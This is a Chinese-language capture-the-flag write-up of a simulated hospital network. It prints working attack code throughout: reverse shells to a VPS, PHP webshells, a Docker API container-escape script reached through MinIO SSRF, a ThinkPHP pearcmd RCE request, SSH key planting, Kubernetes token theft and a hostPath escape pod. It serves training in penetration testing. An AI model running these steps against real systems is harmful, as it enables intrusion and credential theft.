alt text

flag1

外网39.99.140.177

fscan扫描

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
D:\shentou\fscan>fscan.exe -h 39.99.140.177 -p 1-65535

___ _
/ _ \ ___ ___ _ __ __ _ ___| | __
/ /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__| <
\____/ |___/\___|_| \__,_|\___|_|\_\
fscan version: 1.8.4
start infoscan
39.99.140.177:22 open
39.99.140.177:80 open
39.99.140.177:8080 open
[*] alive ports len is: 3
start vulscan
[*] WebTitle http://39.99.140.177 code:200 len:12592 title:广城市人民医院
[*] WebTitle http://39.99.140.177:8080 code:200 len:282 title:None

80端口是一个医院主页,注册功能不能正常使用,应该不是漏洞点

8080端口有个020A
查看登录首页源代码能发现020A版本是9.1.2

搜索发现O2OA常用默认密码为 xadmin/o2(或 xadmin/o2oa@2022)
使用xadmin/o2oa@2022成功登录后台

继续搜索发现o2oa<=v9.1.3存在后台RCE
首先点击服务管理
alt text

再点击代码配置-新建代理
alt text

填入以下代码,反弹shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
var a = mainOutput(); 
function mainOutput() {
var classLoader = Java.type("java.lang.ClassLoader");
var systemClassLoader = classLoader.getSystemClassLoader();
var runtimeMethod = systemClassLoader.loadClass("java.lang.Runtime");
var getRuntime = runtimeMethod.getDeclaredMethod("getRuntime");
var runtime = getRuntime.invoke(null);
var exec = runtimeMethod.getDeclaredMethod("exec", Java.type("java.lang.String"));
exec.invoke(runtime, "bash -c {echo,YmFza...4mMQ==}|{base64,-d}|{bash,-i}");
//bash -i >& /dev/tcp/127.0.0.1/9090 0>&1
}

或者

var a = mainOutput();
function mainOutput() {
var threadClazz = Java.type("java.lang.Thread");
var classLoader = threadClazz.currentThread().getContextClassLoader();
var rtClazz = classLoader.loadClass("java.lang.Runtime");
var stringClazz = classLoader.loadClass("java.lang.String");
var getRuntimeMethod = rtClazz.getMethod("getRuntime");
var execMethod = rtClazz.getMethod("exec", stringClazz);
var runtimeObj = getRuntimeMethod.invoke(rtClazz);
return execMethod.invoke(runtimeObj, "bash -c {echo,YmFzaCA...gMD4mMQ==}|{base64,-d}|{bash,-i}");
}

填写名称和cron表达式,写好后保存,再点击立即运行即可在vps上接收到shell

alt text

根目录下找到flag1

alt text

flag2

经过测试,发现靶机是台docker容器

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
root@228d6bc6421b:/opt/o2server# cat /proc/1/cgroup | grep -i docker
cat /proc/1/cgroup | grep -i docker
12:rdma:/docker/228d6bc6421bb68aecd09dbb5a7cc1ef7aa88cfffb35886f3adee732fe70b471
11:blkio:/docker/228d6bc6421bb68aecd09dbb5a7cc1ef7aa88cfffb35886f3adee732fe70b471
10:memory:/docker/228d6bc6421bb68aecd09dbb5a7cc1ef7aa88cfffb35886f3adee732fe70b471
9:devices:/docker/228d6bc6421bb68aecd09dbb5a7cc1ef7aa88cfffb35886f3adee732fe70b471
8:perf_event:/docker/228d6bc6421bb68aecd09dbb5a7cc1ef7aa88cfffb35886f3adee732fe70b471
7:cpuset:/docker/228d6bc6421bb68aecd09dbb5a7cc1ef7aa88cfffb35886f3adee732fe70b471
6:cpu,cpuacct:/docker/228d6bc6421bb68aecd09dbb5a7cc1ef7aa88cfffb35886f3adee732fe70b471
5:freezer:/docker/228d6bc6421bb68aecd09dbb5a7cc1ef7aa88cfffb35886f3adee732fe70b471
4:net_cls,net_prio:/docker/228d6bc6421bb68aecd09dbb5a7cc1ef7aa88cfffb35886f3adee732fe70b471
3:hugetlb:/docker/228d6bc6421bb68aecd09dbb5a7cc1ef7aa88cfffb35886f3adee732fe70b471
2:pids:/docker/228d6bc6421bb68aecd09dbb5a7cc1ef7aa88cfffb35886f3adee732fe70b471
1:name=systemd:/docker/228d6bc6421bb68aecd09dbb5a7cc1ef7aa88cfffb35886f3adee732fe70b471
0::/docker/228d6bc6421bb68aecd09dbb5a7cc1ef7aa88cfffb35886f3adee732fe70b471

接着回平台,在系统配置-json配置-externalStorageSources (文件存储配置)看到minio的ak-sk以及ip端口
(minio的ak-sk,即aceeskey和secretkey指的应该就是用户和密码)

alt text

1
2
3
4
5
6
7
8
9
10
"store": {
"minio": {
"protocol": "min",
"username": "bxBZOXDlizzuujdR",
"password": "TGdtqwJbBrEMhCCMDVtlHKU=",
"host": "172.22.18.29",
"port": 9000,
"name": "o2oa"
}
},

查看/etc/hosts发现目前拿到的Docker容器是172.17.0.2,并且可以访问到172.22.18.29

使用wget传输fscan和frpc到靶机上

fscan扫描

1
2
3
4
5
6
7
start infoscan
172.22.18.29:22 open
172.22.18.29:9000 open
[*] alive ports len is: 2
start vulscan
[*] WebTitle http://172.22.18.29:9000 code:307 len:43 title:None 跳转url: http://172.22.18.29:9000/minio/
[*] WebTitle http://172.22.18.29:9000/minio/ code:200 len:2281 title:MinIO Browser

frpc.toml

1
2
3
4
5
6
7
8
9
serverAddr = "xxx.xxx.xxx.xxx"
serverPort = 7000

[[proxies]]
name = "minio-9000"
type = "tcp"
localIP = "172.22.18.29"
localPort = 9000
remotePort = 20033

在vps的20033端口可以看到minio的登录界面
alt text

使用此前获得的ak-sk成功登录

alt text

查看portal存储桶,发现对应的是开局医院首页的网站代码,那么上传php一句话木马,等待minio跟入口机进行数据同步即可拿到入口机的shell(每十分钟)

使用蚁剑连接,根目录下发现flag2

flag3

ifconfig发现入口机具有内网IP-172.22.18.23

上传fscan,扫描172.22.18.23/24

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
172.22.18.64:80 open
172.22.18.61:80 open
172.22.18.64:22 open
172.22.18.61:22 open
172.22.18.23:80 open
172.22.18.29:22 open
172.22.18.29:9000 open
172.22.18.23:8080 open
172.22.18.61:10250 open
172.22.18.23:22 open
[*] WebTitle http://172.22.18.23 code:200 len:12592 title:广城市人民医院
[*] WebTitle http://172.22.18.29:9000 code:307 len:43 title:None 跳转url: http://172.22.18.29:9000/minio/
[*] WebTitle http://172.22.18.64 code:200 len:785 title:Harbor
[*] WebTitle http://172.22.18.23:8080 code:200 len:282 title:None
[+] InfoScan http://172.22.18.64 [Harbor]
[*] WebTitle https://172.22.18.61:10250 code:404 len:19 title:None
[*] WebTitle http://172.22.18.61 code:200 len:8710 title:医院内部平台
[*] WebTitle http://172.22.18.29:9000/minio/ code:200 len:2281 title:MinIO Browser
[+] PocScan http://172.22.18.64/swagger.json poc-yaml-swagger-ui-unauth [{path swagger.json}]

稍微整理一下:
入口机:外网IP-39.99.140.177,内网IP-172.22.18.23
MinIO Browser:内网IP-172.22.18.29
医院内部平台:内网IP-172.22.18.61
Harbor:内网IP-172.22.18.64

先看Harbor,做一下内网穿透

frpc.toml

1
2
3
4
5
6
7
8
9
serverAddr = "xxx.xxx.xxx.xxx"
serverPort = 7000

[[proxies]]
name = "harbor"
type = "tcp"
localIP = "172.22.18.64"
localPort = 80
remotePort = 20022

Harbor机器存在未授权(CVE-2022-46463),泄露了public/mysql:5.6镜像

alt text

首先用frp搭一个socks5隧道
frpc.toml

1
2
3
4
5
6
7
8
[common]
server_addr = xxx.xxx.xxx.xxx
server_port = 7000

[socks5]
type = tcp
plugin = socks5
remote_port = 5000

然后用Docker拉取镜像,注意docker pull的代理需要通过systemd进行配置:

1
2
3
4
5
6
7
8
9
10
11
12
systemctl status docker 查看自己的docker.server在哪
输出中的 Loaded 行会显示 docker.service 的路径

vim /lib/systemd/system/docker.service

在 [Service] 部分添加如下内容:
[Service]
Environment="HTTP_PROXY=socks5://127.0.0.1:5000/"

# 配置后重启服务
systemctl daemon-reload
systemctl restart docker

如果拉取失败,需要在/etc/docker/daemon.json添加insecure-registries字段,允许 Docker 与指定的非 HTTPS 私有镜像仓库(IP 为 172.22.18.64)进行通信

1
2
3
{
"insecure-registries": ["172.22.18.64"]
}

配置后重启服务

1
2
systemctl daemon-reload
systemctl restart docker

接下来拉取镜像,启动并进入容器内部

1
2
3
docker pull 172.22.18.64/public/mysql:5.6
docker run -itd --name mysql_container 172.22.18.64/public/mysql:5.6
docker exec -it mysql_container /bin/bash

接下来参考下方文章,Minio SSRF打2375创建恶意容器(CVE-2021-21287):

https://zone.huoxian.cn/d/2801-minio-ssrf-docker-api

因为没有curl、wget,所以只能用exec来发包,下方代码一共四步:

  1. 创建一个172.22.18.64/public/mysql:5.6镜像的容器,Privileged为true,挂载宿主机的/到容器内的/mnt目录,将响应包中的id保存到/tmp/id(此id为容器id,所以截取一部分即可),此时容器为Create状态
  2. 将容器启动,启动容器需要容器id,从/tmp/id中读取即可,此时容器为Running状态
  3. 为容器创建一条命令,命令的具体内容为反弹shell到外网入口机的19999端口,将响应包中的id保存到/tmp/id(此id为命令id,必须要截取完整,通过cut命令进行截取),此时命令还未被执行
  4. 根据前面截取的命令id执行命令,tty为false表示不交互
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
#!/usr/bin/env bash

# 1
exec 3<>/dev/tcp/172.17.0.1/2375
lines=(
'POST /containers/create HTTP/1.1'
'Host: 172.17.0.1:2375'
'Connection: close'
'Content-Type: application/json'
'Content-Length: 133'
''
'{"HostName":"remoteCreate","User":"root","Image":"172.22.18.64/public/mysql:5.6","HostConfig":{"Binds":["/:/mnt"],"Privileged":true}}'
)
printf '%s\r\n' "${lines[@]}" >&3
while read -r data <&3; do
echo $data
if [[ $data == '{"Id":"'* ]]; then
echo $data | cut -c 8-12 > /tmp/id
fi
done
exec 3>&-

# 2
exec 3<>/dev/tcp/172.17.0.1/2375
lines=(
"POST /containers/`cat /tmp/id`/start HTTP/1.1"
'Host: 172.17.0.1:2375'
'Connection: close'
'Content-Type: application/x-www-form-urlencoded'
'Content-Length: 0'
''
)
printf '%s\r\n' "${lines[@]}" >&3
while read -r data <&3; do
echo $data
done
exec 3>&-

# 3
exec 3<>/dev/tcp/172.17.0.1/2375
lines=(
"POST /containers/`cat /tmp/id`/exec HTTP/1.1"
'Host: 172.17.0.1:2375'
'Connection: close'
'Content-Type: application/json'
'Content-Length: 75'
''
'{"Cmd": ["/bin/bash", "-c", "bash -i >& /dev/tcp/172.22.18.23/19999 0>&1"]}'
)
printf '%s\r\n' "${lines[@]}" >&3
while read -r data <&3; do
echo $data
if [[ $data == '{"Id":"'* ]]; then
echo $data | cut -c 8-71 > /tmp/id
fi
done
exec 3>&-

# 4
exec 3<>/dev/tcp/172.17.0.1/2375
lines=(
"POST /exec/`cat /tmp/id`/start HTTP/1.1"
'Host: 172.17.0.1:2375'
'Connection: close'
'Content-Type: application/json'
'Content-Length: 27'
''
'{"Detach":true,"Tty":false}'
)
printf '%s\r\n' "${lines[@]}" >&3
while read -r data <&3; do
echo $data
done
exec 3>&-

将上方内容做Base64编码,写到Dockerfile里,将Dockerfile保存至入口机的/var/www/html/Dockerfile路径

Dockerfile

1
2
3
4
FROM 172.22.18.64/public/mysql:5.6

RUN echo IyEvdXNyL2Jpbi9lbnYgYmFzaAoKIyAxCmV4ZWMgMzw+L2Rldi90Y3AvMTcyLjE3LjAuMS8yMzc1CmxpbmVzPSgKICAgICdQT1NUIC9jb250YWluZXJzL2NyZWF0ZSBIVFRQLzEuMScKICAgICdIb3N0OiAxNzIuMTcuMC4xOjIzNzUnCiAgICAnQ29ubmVjdGlvbjogY2xvc2UnCiAgICAnQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi9qc29uJwogICAgJ0NvbnRlbnQtTGVuZ3RoOiAxMzMnCiAgICAnJwogICAgJ3siSG9zdE5hbWUiOiJyZW1vdGVDcmVhdGUiLCJVc2VyIjoicm9vdCIsIkltYWdlIjoiMTcyLjIyLjE4LjY0L3B1YmxpYy9teXNxbDo1LjYiLCJIb3N0Q29uZmlnIjp7IkJpbmRzIjpbIi86L21udCJdLCJQcml2aWxlZ2VkIjp0cnVlfX0nCikKcHJpbnRmICclc1xyXG4nICIke2xpbmVzW0BdfSIgPiYzCndoaWxlIHJlYWQgLXIgZGF0YSA8JjM7IGRvCiAgICBlY2hvICRkYXRhCiAgICBpZiBbWyAkZGF0YSA9PSAneyJJZCI6IicqIF1dOyB0aGVuCiAgICAgICAgZWNobyAkZGF0YSB8IGN1dCAtYyA4LTEyID4gL3RtcC9pZAogICAgZmkKZG9uZQpleGVjIDM+Ji0KCiMgMgpleGVjIDM8Pi9kZXYvdGNwLzE3Mi4xNy4wLjEvMjM3NQpsaW5lcz0oCiAgICAiUE9TVCAvY29udGFpbmVycy9gY2F0IC90bXAvaWRgL3N0YXJ0IEhUVFAvMS4xIgogICAgJ0hvc3Q6IDE3Mi4xNy4wLjE6MjM3NScKICAgICdDb25uZWN0aW9uOiBjbG9zZScKICAgICdDb250ZW50LVR5cGU6IGFwcGxpY2F0aW9uL3gtd3d3LWZvcm0tdXJsZW5jb2RlZCcKICAgICdDb250ZW50LUxlbmd0aDogMCcKICAgICcnCikKcHJpbnRmICclc1xyXG4nICIke2xpbmVzW0BdfSIgPiYzCndoaWxlIHJlYWQgLXIgZGF0YSA8JjM7IGRvCiAgICBlY2hvICRkYXRhCmRvbmUKZXhlYyAzPiYtCgojIDMKZXhlYyAzPD4vZGV2L3RjcC8xNzIuMTcuMC4xLzIzNzUKbGluZXM9KAogICAgIlBPU1QgL2NvbnRhaW5lcnMvYGNhdCAvdG1wL2lkYC9leGVjIEhUVFAvMS4xIgogICAgJ0hvc3Q6IDE3Mi4xNy4wLjE6MjM3NScKICAgICdDb25uZWN0aW9uOiBjbG9zZScKICAgICdDb250ZW50LVR5cGU6IGFwcGxpY2F0aW9uL2pzb24nCiAgICAnQ29udGVudC1MZW5ndGg6IDc1JwogICAgJycKICAgICd7IkNtZCI6IFsiL2Jpbi9iYXNoIiwgIi1jIiwgImJhc2ggLWkgPiYgL2Rldi90Y3AvMTcyLjIyLjE4LjIzLzE5OTk5IDA+JjEiXX0nCikKcHJpbnRmICclc1xyXG4nICIke2xpbmVzW0BdfSIgPiYzCndoaWxlIHJlYWQgLXIgZGF0YSA8JjM7IGRvCiAgICBlY2hvICRkYXRhCiAgICBpZiBbWyAkZGF0YSA9PSAneyJJZCI6IicqIF1dOyB0aGVuCiAgICAgICAgZWNobyAkZGF0YSB8IGN1dCAtYyA4LTcxID4gL3RtcC9pZAogICAgZmkKZG9uZQpleGVjIDM+Ji0KCiMgNApleGVjIDM8Pi9kZXYvdGNwLzE3Mi4xNy4wLjEvMjM3NQpsaW5lcz0oCiAgICAiUE9TVCAvZXhlYy9gY2F0IC90bXAvaWRgL3N0YXJ0IEhUVFAvMS4xIgogICAgJ0hvc3Q6IDE3Mi4xNy4wLjE6MjM3NScKICAgICdDb25uZWN0aW9uOiBjbG9zZScKICAgICdDb250ZW50LVR5cGU6IGFwcGxpY2F0aW9uL2pzb24nCiAgICAnQ29udGVudC1MZW5ndGg6IDI3JwogICAgJycKICAgICd7IkRldGFjaCI6dHJ1ZSwiVHR5IjpmYWxzZX0nCikKcHJpbnRmICclc1xyXG4nICIke2xpbmVzW0BdfSIgPiYzCndoaWxlIHJlYWQgLXIgZGF0YSA8JjM7IGRvCiAgICBlY2hvICRkYXRhCmRvbmUKZXhlYyAzPiYtCgoK | base64 -d > /tmp/1.sh
RUN chmod +x /tmp/1.sh && /tmp/1.sh

将下方index.php保存至入口机的/var/www/html/index.php中

index.php

1
2
<?php
header('Location: http://127.0.0.1:2375/build?remote=http://172.22.18.23/Dockerfile&nocache=true&t=evil:2', false, 307);

删除入口机的/var/www/html/index.html(非常重要!),因为Minio的SSRF漏洞默认请求/路径,如果不删除index.html,在index.php和index.html共存时会优先访问index.html,最好在minio上把portal站的index.html也删掉,否则数据同步之后index.html又会在入口机生成

因为靶机的缘故,他有时候会刷新index.html,如果存在index.html我们就重定向不成功,所以我们在/tmp下开启一个php服务放上我们的/tmp/index.php

1
2
3
4
php -S 0.0.0.0:8081 //发包的时候在host字段后面加上8081即可

<?php
header('Location: http://127.0.0.1:2375/build?remote=http://172.22.18.23/Dockerfile&nocache=true&t=evil:1', false, 307);

然后就可以打Minio的SSRF漏洞,入口机开启监听,请求包Host修改为入口机内网ip,修改burp的实际发包地址即target为http://vps:20033/(即172.22.18.29:9000)

1
2
3
4
5
6
7
POST /minio/webrpc HTTP/1.1
Host: 172.22.18.23
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.141 Safari/537.36
Content-Type: application/json
Content-Length: 76

{"id":1,"jsonrpc":"2.0","params":{"token":"Test"},"method":"web.LoginSTS"}

alt text

即可收到反弹shell

alt text

这里补充说明一下,一开始在蚁剑上属于是伪终端,所以为了开启监听最好是升级为交互式终端,以下是升级为交互式终端的流程:
首先使用php反弹shell
1.php

1
2
3
4
5
6
7
<?php
$ip = 'xxx.xxx.xxx.xxx';
$port = 9090;

$sock = fsockopen($ip, $port);
$proc = proc_open('/bin/sh', array(0 => $sock, 1 => $sock, 2 => $sock), $pipes);
?>

攻击机起监听,然后用之前写的一句话木马执行php 1.php即可

反弹shell后

  1. 获取半交互式 Shell(创建伪终端)
    (1):利用 Python 的 pty 模块
    python -c ‘import pty; pty.spawn(“/bin/bash”)’
    由于靶机没用python,故作废
    (2):借助 script 命令
    script -qc /bin/bash /dev/null
    经测试这种方法可以用
    (3):运用 socat 工具
    socat PTY,link=/tmp/pty0,raw,echo=0 EXEC:”/bin/bash”
    没成功,不知道为啥

  2. 升级为全交互式 Shell(终端属性的优化)
    (1):获取半交互式 Shell
    使用上述任一方法创建基础会话。
    (2):挂起当前会话
    按 Ctrl + Z,将 Shell 进程挂起到后台(发送 SIGTSTP 信号),释放终端控制。
    (3):调整终端模式并恢复
    运行以下命令:
    stty raw -echo; fg
    (4):设置终端类型
    定义终端类型以支持高级功能:
    export TERM=xterm-256color
    (5):指定默认 Shell
    设置 Shell 类型并启用历史记录:
    export SHELL=/bin/bash
    (6):加载配置文件
    加载 Bash 默认配置:
    source /etc/skel/.bashrc

这样就获得了一个交互式shell

在/mnt/flag.txt找到flag3

顺手写个公钥

首先本机生成

1
2
3
4
ssh-keygen -t rsa

root@iZf8ze93nwj9zenhhgk508Z:/home/test# cat /root/.ssh/id_rsa.pub
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC/cLKx3VFmrhhVKqesaPH7bbP9wFzxckpLBZdrn0Khq/+g+kWrnU00g20pEu1u5xuR9oUy+YHc2rKAOXhST1MA/VD7nAHOZjf2iwuD10YONNBSJQ0g/v+KMzMn3rTeoX5D0oQcHoyisnOgJf17/8RInSnfXVrZ87xnbgYkXBneBl1RHedaAqodXZmM1INBvEcUQwtrEYK0GAw0vc/8dAt3knryMzhhjlS8zYXP7xFEJSL9cjcfXTeDT/v3AxX6gKv5evvLGRwJ5IvEreU1hNMEzoYt8LrDhsyn/n8SMObsAt9Zgq+mrEkq7NoFGpFegbL0qKBo9Ll/xvoFPC4t6U7LEJHLMCtIxjcvBZAn2KR+wRZWAKJ19rXt8Q09/BVzdzSt521pEZHWhb4ssXek5Q+Wg/3NQsK7fcqnZDZqfz3rtdK93tSNacQ9pGt9Ba0CkxxHwQeJz2ldzJtGNnPpInxukdprAQZbXxKG59NgD1v6IX0WR65PFx6YCrIyaeqoRRs= root@iZf8ze93nwj9zenhhgk508Z

往靶机里写入

1
2
root@remoteCreate:/# echo -e '\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC/cLKx3VFmrhhVKqesaPH7bbP9wFzxckpLBZdrn0Khq/+g+kWrnU00g20pEu1u5xuR9oUy+YHc2rKAOXhST1MA/VD7nAHOZjf2iwuD10YONNBSJQ0g/v+KMzMn3rTeoX5D0oQcHoyisnOgJf17/8RInSnfXVrZ87xnbgYkXBneBl1RHedaAqodXZmM1INBvEcUQwtrEYK0GAw0vc/8dAt3knryMzhhjlS8zYXP7xFEJSL9cjcfXTeDT/v3AxX6gKv5evvLGRwJ5IvEreU1hNMEzoYt8LrDhsyn/n8SMObsAt9Zgq+mrEkq7NoFGpFegbL0qKBo9Ll/xvoFPC4t6U7LEJHLMCtIxjcvBZAn2KR+wRZWAKJ19rXt8Q09/BVzdzSt521pEZHWhb4ssXek5Q+Wg/3NQsK7fcqnZDZqfz3rtdK93tSNacQ9pGt9Ba0CkxxHwQeJz2ldzJtGNnPpInxukdprAQZbXxKG59NgD1v6IX0WR65PFx6YCrIyaeqoRRs= root@iZf8ze93nwj9zenhhgk508Z\n\n' >> /mnt/root/.ssh/authorized_keys
<9zenhhgk508Z\n\n' >> /mnt/root/.ssh/authorized_keys

然后攻击机就可以ssh连接上去了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
root@iZf8ze93nwj9zenhhgk508Z:/home/test# proxychains ssh root@172.22.18.29
ProxyChains-3.1 (http://proxychains.sf.net)
|S-chain|-<>-127.0.0.1:5000-<><>-172.22.18.29:22-<><>-OK
The authenticity of host '172.22.18.29 (172.22.18.29)' can't be established.
ECDSA key fingerprint is SHA256:DU7ZVw22N6F/YD8Lgtt4J++nAsiyAQTs4k3hePGXr5E.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '172.22.18.29' (ECDSA) to the list of known hosts.
Enter passphrase for key '/root/.ssh/id_rsa':
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-189-generic x86_64)

* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/pro

Welcome to Alibaba Cloud Elastic Compute Service !

Last login: Fri Sep 13 11:28:28 2024 from 172.22.18.23
root@minio:~#

flag4,5,6

继续看医院内部平台-172.22.18.61

首先用fscan扫一下全端口

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
[*] 扫描类型: all, 目标端口: 1-65535
[*] 开始信息扫描...
[*] 最终有效主机数量: 1
[*] 共解析 65535 个有效端口
[+] 端口开放 172.22.18.61:80
[+] 端口开放 172.22.18.61:22
[+] 端口开放 172.22.18.61:111
[+] 端口开放 172.22.18.61:179
[+] 端口开放 172.22.18.61:9253
[+] 端口开放 172.22.18.61:9353
[+] 端口开放 172.22.18.61:10249
[+] 端口开放 172.22.18.61:10248
[+] 端口开放 172.22.18.61:10256
[+] 端口开放 172.22.18.61:10250
[+] 端口开放 172.22.18.61:30020
[+] 端口开放 172.22.18.61:32686
[+] 存活端口数量: 12
[*] 开始漏洞扫描...
[!] 扫描错误 172.22.18.61:179 - Get "http://172.22.18.61:179": read tcp 172.22.18.23:36684->172.22.18.61:179: read: connection reset by peer
[*] 网站标题 http://172.22.18.61:9253 状态码:404 长度:19 标题:无标题
[*] 网站标题 http://172.22.18.61:9353 状态码:404 长度:19 标题:无标题
[*] 网站标题 https://172.22.18.61:32686 状态码:200 长度:1422 标题:Kubernetes Dashboard
[+] 发现指纹 目标: https://172.22.18.61:32686 指纹: [Kubernetes]
[!] 扫描错误 172.22.18.61:111 - Get "http://172.22.18.61:111": read tcp 172.22.18.23:35998->172.22.18.61:111: read: connection reset by peer
[*] 网站标题 http://172.22.18.61:10249 状态码:404 长度:19 标题:无标题
[*] 网站标题 http://172.22.18.61:10256 状态码:404 长度:19 标题:无标题
[*] 网站标题 http://172.22.18.61:10248 状态码:404 长度:19 标题:无标题
[*] 网站标题 https://172.22.18.61:10250 状态码:404 长度:19 标题:无标题
[*] 网站标题 http://172.22.18.61:30020 状态码:200 长度:8710 标题:医院内部平台
[*] 网站标题 http://172.22.18.61 状态码:200 长度:8710 标题:医院内部平台
[!] 扫描错误 172.22.18.61:22 - 扫描总时间超时: context deadline exceeded
[+] 扫描已完成: 12/12
[*] 扫描结束,耗时: 16.660769694s

看到有k8s控制台

frpc.toml

1
2
3
4
5
6
7
8
9
serverAddr = "xxx.xxx.xxx.xxx"
serverPort = 7000

[[proxies]]
name = "jizhi"
type = "tcp"
localIP = "172.22.18.61"
localPort = 80
remotePort = 20022

访问不存在路径可以得知是极致cms,用的thinkphp框架
用ThinkPHP6.0多语言RCE的漏洞打,区别是参数为l

1
2
3
4
5
6
7
8
9
GET /index.php?l=../../../../../../../../usr/local/lib/php/pearcmd&+config-create+/<?=eval($_POST[1]);?>+/var/www/html/sim.php HTTP/1.1
Host: xxx.xxx.xxx.xxx:20022
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Priority: u=0, i

蚁剑连接后在配置文件看到mysql账密

alt text

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php return array (
'db' =>
array (
'host' => 'mysql',
'dbname' => 'jizhicms',
'username' => 'root',
'password' => 'Mysqlroot@!123',
'prefix' => 'jz_',
'port' => '3306',
),
'redis' =>
array (
'SAVE_HANDLE' => 'Redis',
'HOST' => '127.0.0.1',
'PORT' => 6379,
'AUTH' => NULL,
'TIMEOUT' => 0,
'RESERVED' => NULL,
'RETRY_INTERVAL' => 100,
'RECONNECT' => false,
'EXPIRE' => 1800,
),
'APP_DEBUG' => true,
); ?>

连接MySQL

alt text

查看IP

alt text

这里显示的ip并不是mysql服务器所在的ip,而是当前连接的客户端IP,现在是通过web服务器去连接mysql,所以显示的ip应该是极致cms那台的ip

接着回去webshell看一下主机信息,发现是在Kubernetes中,结合hostname,该机器应该是某个node用来运行web服务的container(这里看到172.20.166.134对应的主机名是web-app-d57c8d67-rm2nk,也印证了前面ip是web服务器而非mysql服务器的ip)

1
2
3
4
5
6
7
8
9
(www-data:/var/www/html) $ cat /etc/hosts
# Kubernetes-managed hosts file.
127.0.0.1 localhost
::1 localhost ip6-localhost ip6-loopback
fe00::0 ip6-localnet
fe00::0 ip6-mcastprefix
fe00::1 ip6-allnodes
fe00::2 ip6-allrouters
172.20.166.134 web-app-d57c8d67-rm2nk

用默认挂载路径读一下token,在mysql用load_file函数读取文件,拿到一个sa token

1
2
3
select load_file("/var/run/secrets/kubernetes.io/serviceaccount/token");

eyJhbGciOiJSUzI1NiIsImtpZCI6IlRSaDd3eFBhYXFNTkg5OUh0TnNwcW00c0Zpand4LUliXzNHRU1raXFjTzQifQ.eyJhdWQiOlsiYXBpIiwiaXN0aW8tY2EiXSwiZXhwIjoxNzgyODMyMzUzLCJpYXQiOjE3NTEyOTYzNTMsImlzcyI6Imh0dHBzOi8va3ViZXJuZXRlcy5kZWZhdWx0LnN2YyIsImp0aSI6IjllZmZjN2M1LTFkMTUtNDEzMS1iNzI2LTY4Zjc0M2RiMDQyMiIsImt1YmVybmV0ZXMuaW8iOnsibmFtZXNwYWNlIjoiZGVmYXVsdCIsIm5vZGUiOnsibmFtZSI6Im5vZGUyIiwidWlkIjoiYjAzYjUwZTgtOTBkOS00YjdkLWFmM2EtMGZiMjY3MWUyNjFmIn0sInBvZCI6eyJuYW1lIjoibXlzcWwtNmRmODc2ZDZkYy1mNnFmZyIsInVpZCI6ImNmMzMyYjUxLWM2NDYtNDExNi04ZGRhLTFmMDJiZTAyM2FmZSJ9LCJzZXJ2aWNlYWNjb3VudCI6eyJuYW1lIjoibXlzcWwiLCJ1aWQiOiJhNTMyNDZlNy0yZDFkLTQxMzMtOGM4OS05ZGNhMWI5YmIxNGYifSwid2FybmFmdGVyIjoxNzUxMjk5OTYwfSwibmJmIjoxNzUxMjk2MzUzLCJzdWIiOiJzeXN0ZW06c2VydmljZWFjY291bnQ6ZGVmYXVsdDpteXNxbCJ9.vqtAXGT3fcb6ixCP_BSJkXlHb_sJnZ-eX5arya505MSjZTRDYU52JhvLZy2q3VE6DDaR2uMpPaYmcxmRZ1ySkwq4jrf2SowRHL_moAsylMJFATdVp7Zvi9aHoZEHOdS15A9GLly_jJX0Lqp-4yrXiixdy_aPNDHWFIwhpydN4s-TcdhuMlbNKIOF9FcgJ-4zB0k2xkGFvvIcF6jAHBkXtEb3lHDe1vOwyk-y8H9iNCz_ptJrHmtBIlDbWNrHYCTqdWfeVOutE5mHt3Zozc2LF5hejbEBvLJb80e1DkEWLe9F6IWbcCtm2nOWRFVWVQjJe-9D0aEJiyKCetefMKFQ4w

拿极致那台web服务器在同样位置读取token,发现不一样,说明确实是站库分离的,经过测试MySQL中serviceaccount的token权限较高

Kubernetes 打法一

kubectl 容器挂载逃逸
环境搭建过于复杂,暂未复现

Kubernetes 打法二

Kubernetes Dashboard 容器挂载逃逸

之前扫到 Kubernetes Dashboard 端口为32686(Dashboard 默认端口为 30000-32767 范围内的随机端口)

用mysql服务器或者极致cms服务器读取的token都可以登录,但是用极致那台token进去之后权限很小,基本什么都看不到,mysql服务器读的token权限就很高

alt text

这里看到node1节点跟node2节点分别有个pod,一台web服务器,一台mysql服务器,它们的 hostname 正好就是前面那两台

alt text

编写yaml,创建一个容器挂载逃逸(node1节点的镜像用 jizhicms 或者 mysql都可以)

alt text

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
apiVersion: v1
kind: Pod
metadata:
name: simho
spec:
containers:
- image: 172.22.18.64/hospital/jizhicms:2.5.0
name: test-container
volumeMounts:
- mountPath: /simho
name: test-volume
volumes:
- name: test-volume
hostPath:
path: /

